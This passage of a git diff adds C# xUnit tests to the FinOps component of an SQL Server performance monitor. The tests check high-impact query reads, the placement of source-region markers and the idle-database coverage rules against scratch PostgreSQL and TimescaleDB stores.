+        using var tool = JsonDocument.Parse(await DarlingMcpFinOpsTools.GetFinOps(ds, "database_sizes", EmptyServerName, cancellationToken: ct));
+        Assert.Equal("unavailable", tool.RootElement.GetProperty("status").GetString());
+    }
+}
diff --git a/Darling/Darling.Tests/FinOpsHighImpactReaderLiveTests.cs b/Darling/Darling.Tests/FinOpsHighImpactReaderLiveTests.cs
new file mode 100644
index 0000000000..c0432c147b
--- /dev/null
+++ b/Darling/Darling.Tests/FinOpsHighImpactReaderLiveTests.cs
@@ -0,0 +1,159 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Storage.FinOps;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/* #1776 own-store: each fact seeds its own scratch database, so nothing here shares rows with another test. */
+/// <summary>
+/// Equality pin for the high-impact read after it moved into Darling.Storage: the exact figures below were
+/// captured from the viewer's own read BEFORE the move, on this same seed, so the storage read and the
+/// viewer delegate must both reproduce them value for value and in order.
+/// </summary>
+public sealed class FinOpsHighImpactReaderLiveTests
+{
+    internal const string ServerName = "darling-finops-high-impact-e2e";
+    internal static readonly int ServerId = ServerIdHelper.GetDeterministicHashCode(ServerName);
+
+    /* Captured from the pre-move viewer read: hash, database, executions, cpu ms, duration ms, reads, writes,
+       memory MB, shares (cpu, duration, reads, writes, memory, executions), impact score. */
+    private static readonly (string Hash, string Db, long Exec, decimal Cpu, decimal Dur, long Reads, long Writes, decimal Mem, decimal[] Shares, int Score)[] Expected =
+    [
+        ("0xHI03", "Db0", 22L, 1150m, 1200m, 3500L, 310L, 21m, new[] { 12.4m, 9.3m, 6.9m, 12.9m, 15.8m, 15.6m }, 75),
+        ("0xHI06", "Db0", 16L, 400m, 1500m, 5000L, 150L, 18m, new[] { 4.3m, 11.6m, 9.9m, 6.2m, 13.5m, 11.3m }, 62),
+        ("0xHI02", "Db2", 13L, 200m, 1800m, 7000L, 200L, 14m, new[] { 2.2m, 14m, 13.9m, 8.3m, 10.5m, 9.2m }, 60),
+        ("0xHI09", "Db0", 14L, 1200m, 450m, 7000L, 0L, 16m, new[] { 13m, 3.5m, 13.9m, 0m, 12m, 9.9m }, 57),
+        ("0xHI08", "Db2", 9L, 500m, 1350m, 4000L, 350L, 10m, new[] { 5.4m, 10.5m, 7.9m, 14.5m, 7.5m, 6.4m }, 53),
+        ("0xHI04", "Db1", 6L, 300m, 1650m, 6000L, 400L, 6m, new[] { 3.2m, 12.8m, 11.9m, 16.6m, 4.5m, 4.3m }, 50),
+        ("0xHI12", "Db0", 12L, 700m, 1050m, 2000L, 300L, 14m, new[] { 7.6m, 8.1m, 4m, 12.4m, 10.5m, 8.5m }, 46),
+        ("0xHI11", "Db2", 7L, 1300m, 300m, 6000L, 200L, 8m, new[] { 14.1m, 2.3m, 11.9m, 8.3m, 6m, 5m }, 43),
+        ("0xHI10", "Db1", 19L, 600m, 1200m, 3000L, 100L, 2m, new[] { 6.5m, 9.3m, 5.9m, 4.1m, 1.5m, 13.5m }, 37),
+        ("0xHI05", "Db2", 11L, 1000m, 750m, 2000L, 50L, 12m, new[] { 10.8m, 5.8m, 4m, 2.1m, 9m, 7.8m }, 34),
+        ("0xHI01", "Db1", 8L, 800m, 1050m, 4000L, 100L, 8m, new[] { 8.6m, 8.1m, 7.9m, 4.1m, 6m, 5.7m }, 34),
+        ("0xHI07", "Db1", 4L, 1100m, 600m, 1000L, 250L, 4m, new[] { 11.9m, 4.7m, 2m, 10.4m, 3m, 2.8m }, 27),
+    ];
+
+    internal static async Task<ScratchPostgres> SeedAsync(string cs, System.Threading.CancellationToken ct)
+    {
+        var scratch = await ScratchPostgres.CreateAsync(cs, ct);
+        using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
+        var at = DarlingMcpTestData.Naive(DateTime.UtcNow).AddHours(-1);
+        for (var i = 1; i <= 12; i++)
+        {
+            await Plant(connection, ct, at, "0xHI" + i.ToString("D2"), "Db" + (i % 3),
+                exec: 3 + (i * 5) % 17, cpuUs: ((i * 7) % 13 + 1) * 100_000L, elapsedUs: ((i * 5) % 11 + 2) * 150_000L,
+                reads: ((i * 3) % 7 + 1) * 1000L, writes: ((i * 11) % 9) * 50L, grantKb: ((i * 13) % 10 + 1) * 2048L);
+        }
+        await Plant(connection, ct, at.AddMinutes(-5), "0xHI03", "Db0", exec: 4, cpuUs: 250_000L, elapsedUs: 300_000L, reads: 500L, writes: 10L, grantKb: 1024L);
+        await Plant(connection, ct, at.AddDays(-3), "0xHIOLD", "Db9", exec: 99, cpuUs: 900_000_000L, elapsedUs: 900_000_000L, reads: 9_000_000L, writes: 9_000L, grantKb: 99999L);
+
+        return scratch;
+    }
+
+    [Fact]
+    public async Task StorageRead_AndViewerDelegate_ReproducePreMoveFigures_Exactly()
+    {
+        var cs = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to run the live high-impact reader test.");
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await SeedAsync(cs!, ct);
+
+        await using var dataSource = NpgsqlDataSource.Create(scratch.ConnectionString);
+        var stored = await DarlingFinOpsHighImpactReader.ReadAsync(dataSource, ServerId, 24, 60, ct);
+        await using var viewer = new ViewerDataService(scratch.ConnectionString);
+        var viewed = await viewer.GetHighImpactQueriesAsync(ServerId, 24, ct);
+
+        Assert.Equal(Expected.Length, stored.Count);
+        Assert.Equal(Expected.Length, viewed.Count);
+        for (var i = 0; i < Expected.Length; i++)
+        {
+            var e = Expected[i];
+            AssertRow(e, stored[i].QueryHash, stored[i].DatabaseName, stored[i].TotalExecutions, stored[i].TotalCpuMs,
+                stored[i].TotalDurationMs, stored[i].TotalReads, stored[i].TotalWrites, stored[i].TotalMemoryMb,
+                [stored[i].CpuShare, stored[i].DurationShare, stored[i].ReadsShare, stored[i].WritesShare, stored[i].MemoryShare, stored[i].ExecutionsShare],
+                stored[i].ImpactScore, stored[i].SampleQueryText, stored[i].FullQueryText);
+            AssertRow(e, viewed[i].QueryHash, viewed[i].DatabaseName, viewed[i].TotalExecutions, viewed[i].TotalCpuMs,
+                viewed[i].TotalDurationMs, viewed[i].TotalReads, viewed[i].TotalWrites, viewed[i].TotalMemoryMb,
+                [viewed[i].CpuShare, viewed[i].DurationShare, viewed[i].ReadsShare, viewed[i].WritesShare, viewed[i].MemoryShare, viewed[i].ExecutionsShare],
+                viewed[i].ImpactScore, viewed[i].SampleQueryText, viewed[i].FullQueryText);
+            Assert.Null(stored[i].QueryPlanXml);
+            Assert.Null(viewed[i].QueryPlanXml);
+        }
+    }
+
+    [Fact]
+    public async Task StorageRead_HonoursTheWindow_AndTheOutOfWindowRowIsAbsent()
+    {
+        var cs = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to run the live high-impact reader test.");
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await SeedAsync(cs!, ct);
+        await using var dataSource = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        var narrow = await DarlingFinOpsHighImpactReader.ReadAsync(dataSource, ServerId, 24, 60, ct);
+        Assert.DoesNotContain(narrow, q => q.QueryHash == "0xHIOLD");
+
+        var wide = await DarlingFinOpsHighImpactReader.ReadAsync(dataSource, ServerId, 24 * 7, 60, ct);
+        Assert.Contains(wide, q => q.QueryHash == "0xHIOLD");
+    }
+
+    [Fact]
+    public async Task StorageRead_ForAnUnknownServer_ReturnsNothing()
+    {
+        var cs = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to run the live high-impact reader test.");
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await SeedAsync(cs!, ct);
+        await using var dataSource = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        Assert.Empty(await DarlingFinOpsHighImpactReader.ReadAsync(dataSource, ServerId + 1, 24, 60, ct));
+    }
+
+    private static void AssertRow(
+        (string Hash, string Db, long Exec, decimal Cpu, decimal Dur, long Reads, long Writes, decimal Mem, decimal[] Shares, int Score) e,
+        string hash, string db, long exec, decimal cpu, decimal dur, long reads, long writes, decimal mem,
+        decimal[] shares, int score, string sample, string full)
+    {
+        Assert.Equal(e.Hash, hash);
+        Assert.Equal(e.Db, db);
+        Assert.Equal(e.Exec, exec);
+        Assert.Equal(e.Cpu, cpu);
+        Assert.Equal(e.Dur, dur);
+        Assert.Equal(e.Reads, reads);
+        Assert.Equal(e.Writes, writes);
+        Assert.Equal(e.Mem, mem);
+        Assert.Equal(e.Shares, shares);
+        Assert.Equal(e.Score, score);
+        Assert.Equal("SELECT " + e.Hash + ";", sample);
+        Assert.Equal("SELECT " + e.Hash + ";", full);
+    }
+
+    private static async Task Plant(NpgsqlConnection c, System.Threading.CancellationToken ct, DateTime at, string hash, string db,
+        long exec, long cpuUs, long elapsedUs, long reads, long writes, long grantKb)
+    {
+        await DarlingMcpTestData.ExecAsync(c, ct,
+            @"INSERT INTO query_stats (collection_id, collection_time, server_id, server_name, database_name,
+                query_hash, delta_execution_count, delta_worker_time, delta_elapsed_time, delta_logical_reads,
+                delta_logical_writes, max_grant_kb, sample_interval_seconds, last_execution_time, query_text)
+              VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$12,$13,$14,$15)",
+            CollectionIdGenerator.Next(), at, ServerId, ServerName, db, hash, exec, cpuUs, elapsedUs, reads, writes, grantKb, 60, at, "SELECT " + hash + ";");
+    }
+}
diff --git a/Darling/Darling.Tests/FinOpsHotspotRegionTests.cs b/Darling/Darling.Tests/FinOpsHotspotRegionTests.cs
new file mode 100644
index 0000000000..38e257fd10
--- /dev/null
+++ b/Darling/Darling.Tests/FinOpsHotspotRegionTests.cs
@@ -0,0 +1,80 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>Source pins for the marked append-only regions in the FinOps web parity (#4843) lists: the MCP
+/// tool registration, the read dispatch, the read catalog and Lite's allow-list of Darling-only tools. Each
+/// list carries two regions, set A and set B, so two series of changes append to separate git hunks.</summary>
+[Trait("Reads", "Lite")]
+public sealed class FinOpsHotspotRegionTests
+{
+    private const string Prefix = "// FinOps web parity (#4843), set ";
+    private const string AStart = Prefix + "A: append new FinOps entries below this line only.";
+    private const string AEnd = Prefix + "A ends.";
+    private const string BStart = Prefix + "B: append new FinOps entries below this line only.";
+    private const string BEnd = Prefix + "B ends.";
+
+    private const string Service = "PerformanceMonitor.Darling.Service";
+
+    public static TheoryData<string, string[], string, string> Lists => new()
+    {
+        { "tool registration", new[] { "Darling", Service, "Mcp", "DarlingMcpHostService.cs" },
+            ".WithGeminiCompatibleTools<DarlingMcpToolGuideTools>()", "_logger.LogInformation" },
+        { "read dispatch", new[] { "Darling", Service, "DarlingWebEndpoints.cs" },
+            "BuildReadDispatch(ILogger? logger", "if (TestOnlyExtraDispatchEntry is" },
+        { "read catalog", new[] { "Darling", Service, "DarlingWebEndpoints.cs" },
+            "CatalogDescriptors =", "/// <summary>" },
+        { "Lite allow-list", new[] { "Lite.Tests", "CrossAppMcpToolInventoryPinTests.cs" },
+            "KnownLiteMissingMcpTools = new", "[Fact]" },
+    };
+
+    private static string Read(string[] path) => RepoFile.ReadRepoFile(path).ReplaceLineEndings("\n");
+
+    private static (string text, int start, int end) Body(string[] path, string declaration, string after)
+    {
+        var text = Read(path);
+        var start = text.IndexOf(declaration, StringComparison.Ordinal);
+        Assert.True(start >= 0, "declaration not found: " + declaration);
+        var end = text.IndexOf(after, start, StringComparison.Ordinal);
+        Assert.True(end > start, "end of the list not found: " + after);
+        return (text, start, end);
+    }
+
+    [Theory]
+    [MemberData(nameof(Lists))]
+    public void EachMarkerOccursOnceInOrderInsideTheListAndTheSetsAreSeparated(
+        string list, string[] path, string declaration, string after)
+    {
+        var (whole, start, end) = Body(path, declaration, after);
+        // The read dispatch and the read catalog share a file, so each marker is counted inside its own list body.
+        var text = whole[..end];
+
+        var positions = new List<int>();
+        foreach (var marker in new[] { AStart, AEnd, BStart, BEnd })
+        {
+            var first = text.IndexOf(marker, start, StringComparison.Ordinal);
+            Assert.True(first >= 0, $"{list}: marker missing: {marker}");
+            Assert.True(text.IndexOf(marker, first + 1, StringComparison.Ordinal) < 0,
+                $"{list}: marker occurs more than once: {marker}");
+            Assert.True(first > start, $"{list}: marker is outside the list body: {marker}");
+            positions.Add(first);
+        }
+
+        Assert.True(positions[0] < positions[1] && positions[1] < positions[2] && positions[2] < positions[3],
+            $"{list}: markers are out of order");
+
+        var lineGap = text[positions[1]..positions[2]].Count(c => c == '\n');
+        Assert.True(lineGap >= 5, $"{list}: set B starts only {lineGap} lines after set A ends");
+    }
+}
diff --git a/Darling/Darling.Tests/FinOpsIdleCoverageInventoryLiveTests.cs b/Darling/Darling.Tests/FinOpsIdleCoverageInventoryLiveTests.cs
new file mode 100644
index 0000000000..32e2c8cdff
--- /dev/null
+++ b/Darling/Darling.Tests/FinOpsIdleCoverageInventoryLiveTests.cs
@@ -0,0 +1,145 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Storage.FinOps;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The idle-database coverage rule read through the Server Inventory statement (<c>GetServerMetricsAsync</c>, the fleet read whose
+/// <c>idle_db_count</c> is NULL for a server without coverage), on a plain store, on a TimescaleDB store without rollups used, and
+/// on a TimescaleDB store with the hourly rollups routed (#5492 round 2). The scenarios are the three the per-server statement is
+/// tested on (six and a half days, a missing D-3, a full seven and a half) plus the two day-boundary samples: one exactly at
+/// 00:00:00.000000 UTC of D-3 (that day is covered by it alone), and one at D-4 23:59:59.999999 with D-2's 00:00:00.000000
+/// (neither is on D-3, so D-3 stays uncovered).
+/// </summary>
+/* #1776 own-store: the scenarios share one scratch database, and each server's rows are its own, so nothing here shares rows with another test. */
+public sealed class FinOpsIdleCoverageInventoryLiveTests
+{
+    private const int TimeoutSeconds = 30;
+    private static readonly DateTime Day = new(2026, 10, 7, 0, 0, 0, DateTimeKind.Unspecified);
+    private static readonly double[] HoursOfDay = { 0.5, 12, 23.5 };
+
+    private static string? Cs => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    private enum Scenario { SixAndAHalfDays, GapAtDMinus3, FullSevenAndAHalf, MidnightSampleCoversDMinus3, NeighbouringEdgesLeaveDMinus3Empty }
+
+    /// <summary>Whether the scenario's server holds coverage, so a known never-executed database reads as idle (count 1) rather than NULL.</summary>
+    private static bool Covered(Scenario s) => s is Scenario.FullSevenAndAHalf or Scenario.MidnightSampleCoversDMinus3;
+
+    private static async Task<List<(int Id, DateTime Now, Scenario Scenario)>> SeedAsync(NpgsqlConnection c, CancellationToken ct)
+    {
+        var seeded = new List<(int, DateTime, Scenario)>();
+        foreach (var hour in HoursOfDay)
+        {
+            var now = Day.AddHours(hour);
+            var dMinus3 = now.Date.AddDays(-3);
+            foreach (var scenario in Enum.GetValues<Scenario>())
+            {
+                var (id, name) = await FinOpsIdleCoverageLiveTests.RegisterAsync(c, $"darling-idle-inv-{scenario}-{hour}", ct);
+                var days = scenario == Scenario.SixAndAHalfDays ? 6.5 : 7.5;
+                var gap = scenario is Scenario.GapAtDMinus3 or Scenario.MidnightSampleCoversDMinus3 or Scenario.NeighbouringEdgesLeaveDMinus3Empty;
+                await FinOpsIdleCoverageLiveTests.SeedHalfDaysAsync(c, id, name, now, days, at => gap && at.Date == dMinus3, ct);
+
+                if (scenario == Scenario.MidnightSampleCoversDMinus3)
+                {
+                    await FinOpsIdleCoverageSeed.InsertAsync(c, ct, id, name, dMinus3, "mid");
+                }
+                else if (scenario == Scenario.NeighbouringEdgesLeaveDMinus3Empty)
+                {
+                    await FinOpsIdleCoverageSeed.InsertAsync(c, ct, id, name, dMinus3.AddTicks(-10), "prevEnd");
+                    await FinOpsIdleCoverageSeed.InsertAsync(c, ct, id, name, dMinus3.AddDays(1), "nextStart");
+                }
+
+                /* One known database that never executed: idle when the server is covered, no count at all when it is not. */
+                await DarlingMcpTestData.ExecAsync(c, ct,
+                    "INSERT INTO database_size_stats (collection_id, collection_time, server_id, server_name, database_name, total_size_mb) VALUES ($1, $2, $3, $4, 'NeverRunDb', 100)",
+                    CollectionIdGenerator.Next(), now.AddHours(-1), id, name);
+                seeded.Add((id, now, scenario));
+            }
+        }
+
+        return seeded;
+    }
+
+    private static async Task AssertInventoryAsync(
+        NpgsqlDataSource dataSource, RollupAvailability rollups, RollupCoverage coverage, List<(int Id, DateTime Now, Scenario Scenario)> seeded, string path, CancellationToken ct)
+    {
+        foreach (var (id, now, scenario) in seeded)
+        {
+            var metrics = await DarlingFinOpsInventoryReader.GetServerMetricsAsync(dataSource, rollups, coverage, TimeoutSeconds, now, ct);
+            var expected = Covered(scenario) ? 1 : (int?)null;
+            Assert.True(metrics.TryGetValue(id, out var row), $"{path}: no row for {scenario} at {now:HH:mm}");
+            Assert.True(expected == row.IdleDbCount, $"{path}: {scenario} at {now:HH:mm}: idle_db_count {row.IdleDbCount?.ToString() ?? "NULL"}, expected {expected?.ToString() ?? "NULL"}");
+            Assert.Equal(Covered(scenario), await DarlingFinOpsOptimizationReader.HasIdleCoverageAtAsync(dataSource, id, now, TimeoutSeconds, ct));
+        }
+    }
+
+    [Fact]
+    public async Task InventoryIdleCount_FollowsTheCoverageRule_OnAPlainStore()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(Cs), "Set DARLING_TEST_PG to run the live idle-coverage inventory test.");
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(Cs!, ct);
+        await using var c = new NpgsqlConnection(scratch.ConnectionString);
+        await c.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(c, ct);
+        await using var dataSource = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        var seeded = await SeedAsync(c, ct);
+        var rollups = await TimescaleSupport.DetectRollupsAsync(dataSource, ct);
+        Assert.False(rollups.DbGrainHourly);
+        var coverage = await TimescaleSupport.DetectRollupCoverageAsync(dataSource, rollups, ct);
+        await AssertInventoryAsync(dataSource, rollups, coverage, seeded, "plain store", ct);
+    }
+
+    [Fact]
+    public async Task InventoryIdleCount_FollowsTheCoverageRule_OnATimescaleStore_RawAndRollupRouted()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(Cs), "Set DARLING_TEST_PG to run the live idle-coverage inventory test.");
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(Cs!, ct);
+        await using var c = new NpgsqlConnection(scratch.ConnectionString);
+        await c.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(c, ct);
+        var timescaleEnabled = await TimescaleSupport.TryEnableAsync(c, null, ct);
+        Assert.SkipWhen(!timescaleEnabled, "The routed idle-coverage read needs TimescaleDB.");
+        await TimescaleSupport.ConvertToHypertablesAsync(c, null, ct);
+        Assert.True(await TimescaleSupport.EnsureCollectionLogHypertableAsync(c, null, ct));
+
+        var seeded = await SeedAsync(c, ct);
+
+        Assert.True(await TimescaleSupport.EnsureContinuousAggregatesAsync(c, null, ct) > 0);
+        /* Legacy hourly view for the first days, the interval view after it, both up to 23:00 on the last day; the last half
+           hour of that day is read raw. */
+        var degraded = new RefreshDisclosure(message => Assert.Fail($"the refresh degraded unexpectedly: {message}"));
+        var start = Day.AddDays(-9);
+        var split = Day.AddDays(-4);
+        var watermarkTarget = Day.AddHours(23);
+        await RollupBackfill.RunSliceAsync(c, TimescaleSupport.QueryStatsDbHourlyView, start, split, degraded, ct);
+        await RollupBackfill.RunSliceAsync(c, TimescaleSupport.QueryStatsDbIntervalHourlyView, split, watermarkTarget, degraded, ct);
+
+        await using var dataSource = NpgsqlDataSource.Create(scratch.ConnectionString);
+        var rollups = await TimescaleSupport.DetectRollupsAsync(dataSource, ct);
+        Assert.True(rollups.DbGrainHourly, "the routed path needs the database-grain hourly rollup");
+        var coverage = await TimescaleSupport.DetectRollupCoverageAsync(dataSource, rollups, ct);
+
+        /* The same statement unrouted on the hypertable layout (no rollup used), then routed through the rollups. */
+        await AssertInventoryAsync(dataSource, RollupAvailability.None, coverage, seeded, "hypertable, no rollups", ct);
+        await AssertInventoryAsync(dataSource, rollups, coverage, seeded, "hypertable, routed through the rollups", ct);
+    }
+}
diff --git a/Darling/Darling.Tests/FinOpsIdleCoverageLiveTests.cs b/Darling/Darling.Tests/FinOpsIdleCoverageLiveTests.cs
new file mode 100644
index 0000000000..cc9eaedf8f
--- /dev/null
+++ b/Darling/Darling.Tests/FinOpsIdleCoverageLiveTests.cs
@@ -0,0 +1,246 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Storage.FinOps;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The idle-database coverage rule read through <c>HasIdleCoverageAtAsync(now)</c> against a real store: the oldest query-stats
+/// sample at or before now minus 7 days AND a sample on each of the 7 complete UTC days before today (today is not required).
+/// Every scenario gets its own server and asks at several times of day, because the rule's day boundaries move with the clock.
+/// </summary>
+/* #1776 own-store: the scenarios share one scratch database, and each server's rows are its own, so nothing here shares rows with another test. */
+public sealed class FinOpsIdleCoverageLiveTests
+{
+    private const int TimeoutSeconds = 30;
+    private static readonly DateTime Day = new(2026, 10, 7, 0, 0, 0, DateTimeKind.Unspecified);
+
+    /* 00:30, 06:00, 12:00, 18:00 and 23:30: either side of a day's start, middle and end. */
+    private static readonly double[] HoursOfDay = { 0.5, 6, 12, 18, 23.5 };
+
+    private static string? Cs => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    internal static async Task<(int Id, string Name)> RegisterAsync(NpgsqlConnection c, string name, CancellationToken ct)
+    {
+        var id = ServerIdHelper.GetDeterministicHashCode(name);
+        await DarlingMcpTestData.RegisterServerAsync(c, id, name, ct);
+        return (id, name);
+    }
+
+    /// <summary>One zero-execution sample every half day from <paramref name="days"/> back up to <paramref name="now"/>, skipping those <paramref name="skip"/> accepts.</summary>
+    internal static async Task SeedHalfDaysAsync(
+        NpgsqlConnection c, int id, string name, DateTime now, double days, Func<DateTime, bool> skip, CancellationToken ct)
+    {
+        var steps = (int)Math.Round(days * 2);
+        for (var k = 0; k <= steps; k++)
+        {
+            var at = now.AddHours(-12.0 * k);
+            if (skip(at)) continue;
+            await FinOpsIdleCoverageSeed.InsertAsync(c, ct, id, name, at, "h" + k);
+        }
+    }
+
+    [Fact]
+    public async Task SixAndAHalfDaysOfHistory_GivesNoCoverage_AtAnyTimeOfDay()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(Cs), "Set DARLING_TEST_PG to run the live idle-coverage test.");
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(Cs!, ct);
+        await using var c = new NpgsqlConnection(scratch.ConnectionString);
+        await c.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(c, ct);
+        await using var dataSource = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        foreach (var hour in HoursOfDay)
+        {
+            var now = Day.AddHours(hour);
+            /* 6.5 days sampled every half day: every complete day D-6 .. D-1 holds samples, but nothing is old enough to
+               claim 7 days were watched, however many UTC dates 6.5 days touch (it touches 8 at some hours). */
+            var (shortId, shortName) = await RegisterAsync(c, $"darling-idle-cov-short-{hour}", ct);
+            await SeedHalfDaysAsync(c, shortId, shortName, now, 6.5, _ => false, ct);
+            Assert.False(await DarlingFinOpsOptimizationReader.HasIdleCoverageAtAsync(dataSource, shortId, now, TimeoutSeconds, ct), $"6.5 days at hour {hour}");
+
+            /* Control: 7.5 days sampled the same way is covered at the same moment, so the scenario above is not passing for
+               some unrelated reason. */
+            var (longId, longName) = await RegisterAsync(c, $"darling-idle-cov-long-{hour}", ct);
+            await SeedHalfDaysAsync(c, longId, longName, now, 7.5, _ => false, ct);
+            Assert.True(await DarlingFinOpsOptimizationReader.HasIdleCoverageAtAsync(dataSource, longId, now, TimeoutSeconds, ct), $"7.5 days at hour {hour}");
+        }
+    }
+
+    [Fact]
+    public async Task SevenAndAHalfDaysWithDMinus3Missing_GivesNoCoverage_AtAnyTimeOfDay()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(Cs), "Set DARLING_TEST_PG to run the live idle-coverage test.");
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(Cs!, ct);
+        await using var c = new NpgsqlConnection(scratch.ConnectionString);
+        await c.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(c, ct);
+        await using var dataSource = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        foreach (var hour in HoursOfDay)
+        {
+            var now = Day.AddHours(hour);
+            var dMinus3 = now.Date.AddDays(-3);
+            /* 7.5 days of history, long enough for the oldest-sample test, but no sample at all on D-3: the gap is
+               inside the window, so nothing was watching that day and every database would read as idle by default. */
+            var (gapId, gapName) = await RegisterAsync(c, $"darling-idle-cov-gap-{hour}", ct);
+            await SeedHalfDaysAsync(c, gapId, gapName, now, 7.5, at => at.Date == dMinus3, ct);
+            Assert.False(await DarlingFinOpsOptimizationReader.HasIdleCoverageAtAsync(dataSource, gapId, now, TimeoutSeconds, ct), $"D-3 missing at hour {hour}");
+        }
+    }
+
+    [Fact]
+    public async Task FullCoverage_JustAfterMidnightUtc_WithNoSampleYetToday_IsCovered()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(Cs), "Set DARLING_TEST_PG to run the live idle-coverage test.");
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(Cs!, ct);
+        await using var c = new NpgsqlConnection(scratch.ConnectionString);
+        await c.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(c, ct);
+        await using var dataSource = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        /* An old sample and a noon sample on each of D-7 .. D-1; nothing yet today. Five minutes after 00:00 UTC the
+           rule still holds (today is not required), and it keeps holding through the day with no new sample. */
+        var seeded = Day.AddMinutes(5);
+        var (id, name) = await RegisterAsync(c, "darling-idle-cov-midnight", ct);
+        await FinOpsIdleCoverageSeed.SeedAsync(c, ct, id, name, seeded);
+
+        var asked = new List<string>();
+        foreach (var at in new[] { seeded, Day.AddHours(6), Day.AddHours(23.5) })
+        {
+            if (!await DarlingFinOpsOptimizationReader.HasIdleCoverageAtAsync(dataSource, id, at, TimeoutSeconds, ct))
+                asked.Add(at.ToString("HH:mm"));
+        }
+        Assert.True(asked.Count == 0, "not covered at " + string.Join(", ", asked));
+
+        /* The same data asked a day later: the window slid one day on, and D-1 (yesterday, which holds no sample) breaks
+           it, so coverage ends there rather than lasting forever. */
+        Assert.False(await DarlingFinOpsOptimizationReader.HasIdleCoverageAtAsync(dataSource, id, Day.AddDays(1).AddMinutes(5), TimeoutSeconds, ct));
+    }
+
+    /// <summary>The 7-day raw count the rule used before the per-day probes (#5492): the distinct UTC dates in [$2, $3) holding a sample.</summary>
+    private const string OldDistinctDayCountSql = @"
+SELECT COUNT(DISTINCT CAST(collection_time AS DATE))
+FROM v_query_stats
+WHERE server_id = $1
+AND   collection_time >= $2
+AND   collection_time <  $3";
+
+    private static async Task<(long Old, long Probed)> CountDaysBothWaysAsync(NpgsqlDataSource dataSource, int id, DateTime now, CancellationToken ct)
+    {
+        var start = DateTime.SpecifyKind(DarlingFinOpsOptimizationReader.IdleCoverageStartUtc(now), DateTimeKind.Unspecified);
+        var end = DateTime.SpecifyKind(DarlingFinOpsOptimizationReader.IdleCoverageEndUtc(now), DateTimeKind.Unspecified);
+
+        static async Task<long> RunAsync(NpgsqlDataSource ds, string sql, int serverId, DateTime from, DateTime to, int column, CancellationToken token)
+        {
+            await using var command = ds.CreateCommand(sql);
+            command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
+            command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = from });
+            command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = to });
+            await using var reader = await command.ExecuteReaderAsync(token);
+            Assert.True(await reader.ReadAsync(token));
+            return Convert.ToInt64(reader.GetValue(column), System.Globalization.CultureInfo.InvariantCulture);
+        }
+
